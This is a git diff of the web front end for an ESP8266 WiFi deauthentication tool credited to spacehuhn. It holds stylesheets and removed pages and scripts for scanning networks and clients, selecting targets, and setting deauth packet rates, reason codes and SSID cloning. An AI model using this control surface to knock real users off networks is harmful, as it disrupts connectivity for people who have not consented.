||||||
|
.right{
|
||||||
|
float: right;
|
||||||
|
}
|
||||||
|
.bold{
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
.clear{
|
||||||
|
clear: both;
|
||||||
|
}
|
||||||
|
.warn{
|
||||||
|
font-weight: bold;
|
||||||
|
color: #f00;
|
||||||
|
}
|
||||||
|
.middle{
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
.red{
|
||||||
|
color:#f00;
|
||||||
|
}
|
||||||
|
.green{
|
||||||
|
color:#1ecb1e;
|
||||||
|
}
|
||||||
|
.padding{
|
||||||
|
padding: 0 1rem;
|
||||||
|
}
|
||||||
|
#error{
|
||||||
|
text-align: center;
|
||||||
|
color: #fff;
|
||||||
|
background: #f00;
|
||||||
|
}
|
||||||
|
#copyright{
|
||||||
|
text-align: center;
|
||||||
|
margin-top: 3em;
|
||||||
|
margin-bottom: 3em;
|
||||||
|
}
|
||||||
|
.selectedBtn{
|
||||||
|
background: #fff;
|
||||||
|
}
|
||||||
|
a{
|
||||||
|
color: #39C2FF;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
input{
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid #bbb;
|
||||||
|
padding: 3px;
|
||||||
|
}
|
||||||
|
.button,
|
||||||
|
button,
|
||||||
|
input[type="submit"],
|
||||||
|
input[type="reset"],
|
||||||
|
input[type="button"] {
|
||||||
|
padding: 0 6px;
|
||||||
|
display: inline-block;
|
||||||
|
height: 31px;
|
||||||
|
color: #555;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: 600;
|
||||||
|
line-height: 30px;
|
||||||
|
letter-spacing: .1rem;
|
||||||
|
text-transform: uppercase;
|
||||||
|
text-decoration: none;
|
||||||
|
white-space: nowrap;
|
||||||
|
background-color: transparent;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid #bbb;
|
||||||
|
cursor: pointer;
|
||||||
|
box-sizing: border-box; }
|
||||||
|
.button:hover,
|
||||||
|
button:hover,
|
||||||
|
input[type="submit"]:hover,
|
||||||
|
input[type="reset"]:hover,
|
||||||
|
input[type="button"]:hover{
|
||||||
|
color: #333;
|
||||||
|
border-color: #888;
|
||||||
|
outline: 0;
|
||||||
|
}
|
||||||
|
.button-primary{
|
||||||
|
color: #FFF;
|
||||||
|
background-color: #33C3F0;
|
||||||
|
border-color: #33C3F0;
|
||||||
|
}
|
||||||
|
.button-primary:hover {
|
||||||
|
color: #FFF;
|
||||||
|
background-color: #1EAEDB;
|
||||||
|
border-color: #1EAEDB;
|
||||||
|
}
|
||||||
|
.button-warn{
|
||||||
|
background: #f00;
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
*** SIMPLE GRID
|
||||||
|
*** (C) ZACH COLE 2016
|
||||||
|
**/
|
||||||
|
|
||||||
|
/*@import url(https://fonts.googleapis.com/css?family=Lato:400,300,300italic,400italic,700,700italic);*/
|
||||||
|
/* UNIVERSAL */
|
||||||
|
|
||||||
|
html,
|
||||||
|
body {
|
||||||
|
height: 100%;
|
||||||
|
width: 100%;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
font-size: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ROOT FONT STYLES */
|
||||||
|
|
||||||
|
* {
|
||||||
|
font-family: /*'Lato',*/ Helvetica, sans-serif;
|
||||||
|
color: #333447;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* TYPOGRAPHY */
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 2.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
h3 {
|
||||||
|
font-size: 1.375rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
h4 {
|
||||||
|
font-size: 1.125rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
h5 {
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
h6 {
|
||||||
|
font-size: 0.875rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
/*font-size: 1.125rem;*/
|
||||||
|
font-weight: 200;
|
||||||
|
/*line-height: 1.8;*/
|
||||||
|
}
|
||||||
|
|
||||||
|
.font-light {
|
||||||
|
font-weight: 300;
|
||||||
|
}
|
||||||
|
|
||||||
|
.font-regular {
|
||||||
|
font-weight: 400;
|
||||||
|
}
|
||||||
|
|
||||||
|
.font-heavy {
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* POSITIONING */
|
||||||
|
|
||||||
|
.left {
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.right {
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
|
||||||
|
.center {
|
||||||
|
text-align: center;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.justify {
|
||||||
|
text-align: justify;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ==== GRID SYSTEM ==== */
|
||||||
|
|
||||||
|
.container {
|
||||||
|
width: 100%;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.row {
|
||||||
|
position: relative;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.row [class^="col"] {
|
||||||
|
float: left;
|
||||||
|
margin: 0.5rem 2%;
|
||||||
|
min-height: 0.125rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-1,
|
||||||
|
.col-2,
|
||||||
|
.col-3,
|
||||||
|
.col-4,
|
||||||
|
.col-5,
|
||||||
|
.col-6,
|
||||||
|
.col-7,
|
||||||
|
.col-8,
|
||||||
|
.col-9,
|
||||||
|
.col-10,
|
||||||
|
.col-11,
|
||||||
|
.col-12 {
|
||||||
|
width: 96%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-1-sm {
|
||||||
|
width: 4.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-2-sm {
|
||||||
|
width: 12.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-3-sm {
|
||||||
|
width: 21%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-4-sm {
|
||||||
|
width: 29.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-5-sm {
|
||||||
|
width: 37.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-6-sm {
|
||||||
|
width: 46%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-7-sm {
|
||||||
|
width: 54.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-8-sm {
|
||||||
|
width: 62.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-9-sm {
|
||||||
|
width: 71%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-10-sm {
|
||||||
|
width: 79.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-11-sm {
|
||||||
|
width: 87.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-12-sm {
|
||||||
|
width: 96%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.row::after {
|
||||||
|
content: "";
|
||||||
|
display: table;
|
||||||
|
clear: both;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hidden-sm {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (min-width: 33.75em) { /* 540px */
|
||||||
|
.container {
|
||||||
|
width: 85%;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (min-width: 45em) { /* 720px */
|
||||||
|
.col-1 {
|
||||||
|
width: 4.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-2 {
|
||||||
|
width: 12.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-3 {
|
||||||
|
width: 21%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-4 {
|
||||||
|
width: 29.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-5 {
|
||||||
|
width: 37.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-6 {
|
||||||
|
width: 46%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-7 {
|
||||||
|
width: 54.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-8 {
|
||||||
|
width: 62.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-9 {
|
||||||
|
width: 71%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-10 {
|
||||||
|
width: 79.33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-11 {
|
||||||
|
width: 87.66%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-12 {
|
||||||
|
width: 96%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hidden-sm {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media only screen and (min-width: 60em) { /* 960px */
|
||||||
|
.container {
|
||||||
|
width: 80%;
|
||||||
|
max-width: 60rem;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<link rel="stylesheet" href="style.css">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<nav>
|
|
||||||
<a href="/">APs</a>
|
|
||||||
<a href="clients">Clients</a>
|
|
||||||
<a href="attack">Attack</a>
|
|
||||||
<a href="settings">Settings</a>
|
|
||||||
<ul class="nav right">
|
|
||||||
<a href="#" onclick="restartESP()">Restart</a>
|
|
||||||
<ul>
|
|
||||||
</nav>
|
|
||||||
<div id="content">
|
|
||||||
<h1>Scan for WiFi access points</h1>
|
|
||||||
|
|
||||||
<button onclick="scan()" id="apScanStart">scan</button>
|
|
||||||
<a id="scanInfo">scanning...</a>
|
|
||||||
|
|
||||||
<p class="block bold" id="networksFound">Networks found: 0</p>
|
|
||||||
<p class="small">
|
|
||||||
MAC: <span id="apMAC"></span>
|
|
||||||
</p>
|
|
||||||
<br />
|
|
||||||
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<table>
|
|
||||||
</table>
|
|
||||||
<p class="small" id="wpa_info">
|
|
||||||
<br />
|
|
||||||
WPA* = WPA/WPA2 auto mode
|
|
||||||
<br>
|
|
||||||
continuous scan: <button onclick="startConScan()" id="startStopScan">start</button>
|
|
||||||
</p>
|
|
||||||
<script src="js/functions.js"></script>
|
|
||||||
<script src="js/index.js"></script>
|
|
||||||
<div id="copyright">
|
|
||||||
Copyright 2017 Stefan Kremser<br />
|
|
||||||
<br />
|
|
||||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
|
||||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
4
web_server/jquery.js
vendored
Normal file
@@ -1,98 +0,0 @@
|
|||||||
var table = document.getElementsByTagName('table')[0];
|
|
||||||
var scanBtn = document.getElementById("startScan");
|
|
||||||
var scanTime = document.getElementById("scanTime");
|
|
||||||
var clientsFound = document.getElementById("clientsFound");
|
|
||||||
var scanStatus = document.getElementById("clientScanStatus");
|
|
||||||
|
|
||||||
var res;
|
|
||||||
|
|
||||||
function compare(a, b) {
|
|
||||||
if (a.p > b.p) return -1;
|
|
||||||
if (a.p < b.p) return 1;
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
function toggleBtn(onoff) {
|
|
||||||
if (onoff) {
|
|
||||||
scanBtn.style.visibility = 'visible';
|
|
||||||
} else {
|
|
||||||
scanBtn.style.visibility = 'hidden';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function getResults(reload) {
|
|
||||||
if (reload == undefined) {
|
|
||||||
reload = false;
|
|
||||||
}
|
|
||||||
getResponse("ClientScanResults.json", function(responseText) {
|
|
||||||
res = JSON.parse(responseText);
|
|
||||||
res.clients = res.clients.sort(compare);
|
|
||||||
|
|
||||||
clientsFound.innerHTML = "Client devices found: " + res.clients.length;
|
|
||||||
|
|
||||||
var tr = '';
|
|
||||||
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>Vendor</th><th>Name</th><th>MAC</th><th>AP</th><th>Select</th></tr>';
|
|
||||||
|
|
||||||
for (var i = 0; i < res.clients.length; i++) {
|
|
||||||
|
|
||||||
if (res.clients[i].s == 1) tr += '<tr class="selected">';
|
|
||||||
else tr += '<tr>';
|
|
||||||
tr += '<td>' + res.clients[i].p + '</td>';
|
|
||||||
tr += '<td>' + res.clients[i].v + '</td>';
|
|
||||||
tr += '<td>' + res.clients[i].n + ' <a class="blue" onclick="changeName(' + res.clients[i].i + ')">edit</a></td>';
|
|
||||||
tr += '<td>' + res.clients[i].m + '</td>';
|
|
||||||
tr += '<td>' + res.clients[i].a + '</td>';
|
|
||||||
|
|
||||||
if (res.clients[i].s == 1) tr += '<td><button class="marginNull selectedBtn" onclick="select(' + res.clients[i].i + ')">deselect</button></td>';
|
|
||||||
else tr += '<td><button class="marginNull" onclick="select(' + res.clients[i].i + ')">select</button></td>';
|
|
||||||
|
|
||||||
tr += '</tr>';
|
|
||||||
}
|
|
||||||
table.innerHTML = tr;
|
|
||||||
toggleBtn(true);
|
|
||||||
scanStatus.innerHTML = "";
|
|
||||||
|
|
||||||
if (reload == true) location.reload();
|
|
||||||
|
|
||||||
}, function() {
|
|
||||||
location.reload();
|
|
||||||
}, 6000);
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
function scan() {
|
|
||||||
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
|
|
||||||
if (responseText == "true") {
|
|
||||||
scanStatus.innerHTML = "scanning...";
|
|
||||||
toggleBtn(false);
|
|
||||||
setTimeout(function() {
|
|
||||||
scanStatus.innerHTML = "reconnecting...";
|
|
||||||
getResults(true);
|
|
||||||
}, scanTime.value * 1000);
|
|
||||||
}
|
|
||||||
else alert(responseText);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function select(num) {
|
|
||||||
getResponse("clientSelect.json?num=" + num, function(responseText) {
|
|
||||||
if (responseText == "true") getResults();
|
|
||||||
else alert("error :/");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function changeName(id) {
|
|
||||||
var newName = prompt("Name for " + res.clients[id].m);
|
|
||||||
if (newName != null) {
|
|
||||||
getResponse("setName.json?id=" + id + "&name=" + newName, function(responseText) {
|
|
||||||
if (responseText == "true") getResults();
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
getResponse("ClientScanTime.json", function(responseText) {
|
|
||||||
scanTime.value = responseText;
|
|
||||||
});
|
|
||||||
|
|
||||||
getResults();
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
function getResponse(adr, callback, timeoutCallback, timeout){
|
|
||||||
if(timeoutCallback === undefined) {
|
|
||||||
timeoutCallback = function(){
|
|
||||||
location.reload()
|
|
||||||
};
|
|
||||||
}
|
|
||||||
if(timeout === undefined) {
|
|
||||||
timeout = 8000;
|
|
||||||
}
|
|
||||||
var xmlhttp = new XMLHttpRequest();
|
|
||||||
xmlhttp.onreadystatechange = function() {
|
|
||||||
if(xmlhttp.readyState == 4){
|
|
||||||
if(xmlhttp.status == 200) callback(xmlhttp.responseText);
|
|
||||||
else timeoutCallback();
|
|
||||||
}
|
|
||||||
};
|
|
||||||
xmlhttp.open("GET", adr, true);
|
|
||||||
xmlhttp.send();
|
|
||||||
xmlhttp.timeout = timeout;
|
|
||||||
xmlhttp.ontimeout = timeoutCallback;
|
|
||||||
}
|
|
||||||
|
|
||||||
function restartESP() {
|
|
||||||
getResponse("restartESP.json", function(responseText) {
|
|
||||||
if (responseText == "true") getData();
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
@@ -1,114 +0,0 @@
|
|||||||
var nameListTable = document.getElementById('nameList');
|
|
||||||
var ssid = document.getElementById('ssid');
|
|
||||||
var ssidHidden = document.getElementById('ssidHidden');
|
|
||||||
var password = document.getElementById('password');
|
|
||||||
var apChannel = document.getElementById('apChannel');
|
|
||||||
var apScanHidden = document.getElementById('apScanHidden');
|
|
||||||
var scanTime = document.getElementById('scanTime');
|
|
||||||
var timeout = document.getElementById('timeout');
|
|
||||||
var deauthReason = document.getElementById('deauthReason');
|
|
||||||
var packetRate = document.getElementById('packetRate');
|
|
||||||
var saved = document.getElementById('saved');
|
|
||||||
var clientNames = document.getElementById('clientNames');
|
|
||||||
var ssidEnc = document.getElementById('ssidEnc');
|
|
||||||
var useLed = document.getElementById('useLed');
|
|
||||||
var channelHop = document.getElementById('channelHop');
|
|
||||||
var res;
|
|
||||||
|
|
||||||
function getData() {
|
|
||||||
getResponse("settings.json", function(responseText) {
|
|
||||||
res = JSON.parse(responseText);
|
|
||||||
|
|
||||||
ssid.value = res.ssid;
|
|
||||||
ssidHidden.checked = res.ssidHidden;
|
|
||||||
password.value = res.password;
|
|
||||||
apChannel.value = res.apChannel;
|
|
||||||
apScanHidden.checked = res.apScanHidden;
|
|
||||||
scanTime.value = res.clientScanTime;
|
|
||||||
timeout.value = res.attackTimeout;
|
|
||||||
deauthReason.value = res.deauthReason;
|
|
||||||
packetRate.value = res.attackPacketRate;
|
|
||||||
ssidEnc.checked = res.attackEncrypted;
|
|
||||||
useLed.checked = res.useLed;
|
|
||||||
channelHop.checked = res.channelHop;
|
|
||||||
|
|
||||||
|
|
||||||
clientNames.innerHTML = "Client Names " + res.nameList.length + "/50";
|
|
||||||
|
|
||||||
var tr = '<tr><th>MAC</th><th>Vendor</th><th>Name</th><th>X</th></tr>';
|
|
||||||
|
|
||||||
for (var i = 0; i < res.nameList.length; i++) {
|
|
||||||
|
|
||||||
tr += '<tr>';
|
|
||||||
tr += '<td>' + res.nameList[i].m + '</td>';
|
|
||||||
tr += '<td>' + res.nameList[i].v + '</td>';
|
|
||||||
tr += '<td>' + res.nameList[i].n + ' <a class="blue" onclick="changeName(' + i + ')">edit</a></td>';
|
|
||||||
tr += '<td><button class="marginNull warnBtn" onclick="deleteName(' + i + ')">x</button></td>';
|
|
||||||
|
|
||||||
tr += '</tr>';
|
|
||||||
}
|
|
||||||
|
|
||||||
nameListTable.innerHTML = tr;
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function changeName(id) {
|
|
||||||
var newName = prompt("Name for " + res.nameList[id].m);
|
|
||||||
if (newName != null) {
|
|
||||||
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
|
|
||||||
if (responseText == "true") getData();
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function deleteName(id) {
|
|
||||||
getResponse("deleteName.json?num=" + id, function(responseText) {
|
|
||||||
if (responseText == "true") getData();
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function saveSettings() {
|
|
||||||
saved.innerHTML = "saving...";
|
|
||||||
var url = "settingsSave.json";
|
|
||||||
url += "?ssid=" + ssid.value;
|
|
||||||
url += "&ssidHidden=" + ssidHidden.checked;
|
|
||||||
url += "&password=" + password.value;
|
|
||||||
url += "&apChannel=" + apChannel.value;
|
|
||||||
url += "&apScanHidden=" + apScanHidden.checked;
|
|
||||||
url += "&scanTime=" + scanTime.value;
|
|
||||||
url += "&timeout=" + timeout.value;
|
|
||||||
url += "&deauthReason=" + deauthReason.value;
|
|
||||||
url += "&packetRate=" + packetRate.value;
|
|
||||||
url += "&ssidEnc=" + ssidEnc.checked;
|
|
||||||
url += "&useLed=" + useLed.checked;
|
|
||||||
url += "&channelHop=" + channelHop.checked;
|
|
||||||
|
|
||||||
getResponse(url, function(responseText) {
|
|
||||||
if (responseText == "true") {
|
|
||||||
getData();
|
|
||||||
saved.innerHTML = "saved";
|
|
||||||
}
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function resetSettings() {
|
|
||||||
getResponse("settingsReset.json", function(responseText) {
|
|
||||||
if (responseText == "true") {
|
|
||||||
getData();
|
|
||||||
saved.innerHTML = "saved";
|
|
||||||
}
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function clearNameList() {
|
|
||||||
getResponse("clearNameList.json", function(responseText) {
|
|
||||||
if (responseText == "true") getData();
|
|
||||||
else alert("error");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
getData();
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
{
|
|
||||||
"sites":[
|
|
||||||
"error404.html",
|
|
||||||
"style.css",
|
|
||||||
"functions.js",
|
|
||||||
"index.html",
|
|
||||||
"clients.html",
|
|
||||||
"attack.html",
|
|
||||||
"settings.html"
|
|
||||||
],
|
|
||||||
"json":[
|
|
||||||
"APScanResults.json",
|
|
||||||
"ClientScanResults.json",
|
|
||||||
"settings.json",
|
|
||||||
"attackInfo.json"
|
|
||||||
],
|
|
||||||
"commands":[
|
|
||||||
"APScan.json",
|
|
||||||
"APSelect.json",
|
|
||||||
"ClientScan.json",
|
|
||||||
"ClientScanTime.json",
|
|
||||||
"clientSelect.json",
|
|
||||||
"setName.json",
|
|
||||||
"attackStart.json",
|
|
||||||
"settingsSave.json",
|
|
||||||
"settingsReset.json",
|
|
||||||
"deleteName.json",
|
|
||||||
"clearNameList.json",
|
|
||||||
"editNameList.json",
|
|
||||||
"addSSID.json",
|
|
||||||
"cloneSSID.json",
|
|
||||||
"deleteSSID.json",
|
|
||||||
"randomSSID.json",
|
|
||||||
"clearSSID.json",
|
|
||||||
"resetSSID.json",
|
|
||||||
"saveSSID.json"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
@@ -1,16 +1,17 @@
|
|||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
|
<script src="jquery.js"></script>
|
||||||
<script>
|
<script>
|
||||||
|
|
||||||
function miniEsc(){
|
function miniEsc(){
|
||||||
var input = $('#input').val().replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).replace(/"/g, '\\"' );
|
var input = $('#input').val().replace(/\/\*(\*(?!\/)|[^*])*\*\//g, '').replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).replace(/"/g, '\\"' );
|
||||||
$('#output').val(input);
|
$('#output').val(input);
|
||||||
$('#info1').html($('#input').val().length);
|
$('#info1').html($('#input').val().length);
|
||||||
$('#info2').html(input.length);
|
$('#info2').html(input.length);
|
||||||
}
|
}
|
||||||
|
|
||||||
function mini(){
|
function mini(){
|
||||||
var input = $('#input').val().replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' );
|
var input = $('#input').val().replace(/\/\*(\*(?!\/)|[^*])*\*\//g, '').replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' );
|
||||||
$('#output').val(input);
|
$('#output').val(input);
|
||||||
$('#info1').html($('#input').val().length);
|
$('#info1').html($('#input').val().length);
|
||||||
$('#info2').html(input.length);
|
$('#info2').html(input.length);
|
||||||
@@ -30,7 +31,7 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
function byteAndmini(){
|
function byteAndmini(){
|
||||||
var input = "0x"+$('#input').val().replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).convertToHex(",0x");;
|
var input = "0x"+$('#input').val().replace(/\/\*(\*(?!\/)|[^*])*\*\//g, '').replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).convertToHex(",0x");
|
||||||
$('#output').val(input);
|
$('#output').val(input);
|
||||||
$('#info1').html($('#input').val().length);
|
$('#info1').html($('#input').val().length);
|
||||||
$('#info2').html(input.length);
|
$('#info2').html(input.length);
|
||||||
|
|||||||
@@ -1,105 +0,0 @@
|
|||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<link rel="stylesheet" href="style.css">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<nav>
|
|
||||||
<a href="/">APs</a>
|
|
||||||
<a href="clients">Clients</a>
|
|
||||||
<a href="attack">Attack</a>
|
|
||||||
<a href="settings">Settings</a>
|
|
||||||
<ul class="right">
|
|
||||||
<a href="#" onclick="restartESP()">Restart</a>
|
|
||||||
<ul>
|
|
||||||
</nav>
|
|
||||||
<div id="content">
|
|
||||||
<h1>Settings</h1>
|
|
||||||
|
|
||||||
<p class="block bold">WiFi</p>
|
|
||||||
|
|
||||||
<label for="ssid">SSID:</label>
|
|
||||||
<input type="text" id="ssid" minlength="1" maxlength="32">
|
|
||||||
<br />
|
|
||||||
<label for="ssidHidden">hidden:</label>
|
|
||||||
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<label for="password">password:</label>
|
|
||||||
<input type="text" id="password" minlength="8" maxlength="32">
|
|
||||||
<p class="small">must have at least 8 characters! (needs restart)</p>
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<label for="apChannel">channel:</label>
|
|
||||||
<input type="number" id="apChannel" min="1" max="14">
|
|
||||||
|
|
||||||
<br />
|
|
||||||
<br />
|
|
||||||
<p class="block bold">AP scan</p>
|
|
||||||
|
|
||||||
<label for="apScanHidden">scan for hidden APs:</label>
|
|
||||||
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
|
|
||||||
|
|
||||||
<br />
|
|
||||||
<br />
|
|
||||||
<p class="block bold">Client Scan</p>
|
|
||||||
|
|
||||||
<label for="scanTime">default scan time:</label>
|
|
||||||
<input type="number" id="scanTime" min="1" max="255">s
|
|
||||||
|
|
||||||
<br />
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<p class="block bold">Attack</p>
|
|
||||||
|
|
||||||
<label for="timeout">timeout:</label>
|
|
||||||
<input type="number" id="timeout" min="-1" max="65536">s
|
|
||||||
<p class="small">0 = no timeout</p>
|
|
||||||
|
|
||||||
<label for="ssidEnc">WPA2 beacons:</label>
|
|
||||||
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<label for="useLed">use LED:</label>
|
|
||||||
<input type="checkbox" name="useLed" id="useLed" value="false">
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<label for="deauthReason">deauth reason:</label>
|
|
||||||
<input type="number" id="deauthReason" min="1" max="45">
|
|
||||||
<p class="small">reason codes: <a target="_blank" href="http://www.aboutcher.co.uk/2012/07/linux-wifi-deauthenticated-reason-codes/">click</a></p>
|
|
||||||
|
|
||||||
<label for="packetRate">packetrate:</label>
|
|
||||||
<input type="number" id="packetRate" min="1" max="100">pkts/s
|
|
||||||
<p class="small">only for deauth attack - may cause instability! (max.100)</p>
|
|
||||||
|
|
||||||
<label for="channelHop">channel hopping:</label>
|
|
||||||
<input type="checkbox" name="channelHop" id="channelHop" value="false">
|
|
||||||
<p class="small">only for deauth attack - packetrate will be ignored!</p>
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<br />
|
|
||||||
<button class="warnBtn" onclick="resetSettings()">reset</button> <button onclick="saveSettings()">save</button><p class="small" id="saved"></p><br \>
|
|
||||||
<br />
|
|
||||||
<br />
|
|
||||||
|
|
||||||
<p class="block bold" id="clientNames">Client Names</p>
|
|
||||||
<table id="nameList">
|
|
||||||
<tr><th>MAC</th><th>Vendor</th><th>Name</th><th>X</th></tr>
|
|
||||||
</table>
|
|
||||||
<br />
|
|
||||||
<button class="warnBtn" onclick="clearNameList()">clear</button></p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<table>
|
|
||||||
</table>
|
|
||||||
<script src="js/functions.js"></script>
|
|
||||||
<script src="js/settings.js"></script>
|
|
||||||
<div id="copyright">
|
|
||||||
Copyright 2017 Stefan Kremser<br />
|
|
||||||
<br />
|
|
||||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
|
||||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -1,167 +0,0 @@
|
|||||||
/* Global */
|
|
||||||
|
|
||||||
*,
|
|
||||||
body {
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
font-family: arial;
|
|
||||||
color: #432929;
|
|
||||||
}
|
|
||||||
h1 {
|
|
||||||
font-size: 22px;
|
|
||||||
margin-bottom: 0.6em;
|
|
||||||
background: #00B0FF;
|
|
||||||
color: #fff;
|
|
||||||
padding: 0.2em;
|
|
||||||
border-radius: 4px;
|
|
||||||
}
|
|
||||||
button {
|
|
||||||
background: #00B0FF;
|
|
||||||
color: #fff;
|
|
||||||
border: 1px solid #8F8F8F;
|
|
||||||
border-radius: 2px;
|
|
||||||
padding: 0.34em 0.3em;
|
|
||||||
margin-bottom: 0.6em;
|
|
||||||
}
|
|
||||||
button:hover {
|
|
||||||
color: #000;
|
|
||||||
}
|
|
||||||
label {
|
|
||||||
display: inline-block;
|
|
||||||
width: 135px;
|
|
||||||
}
|
|
||||||
input {
|
|
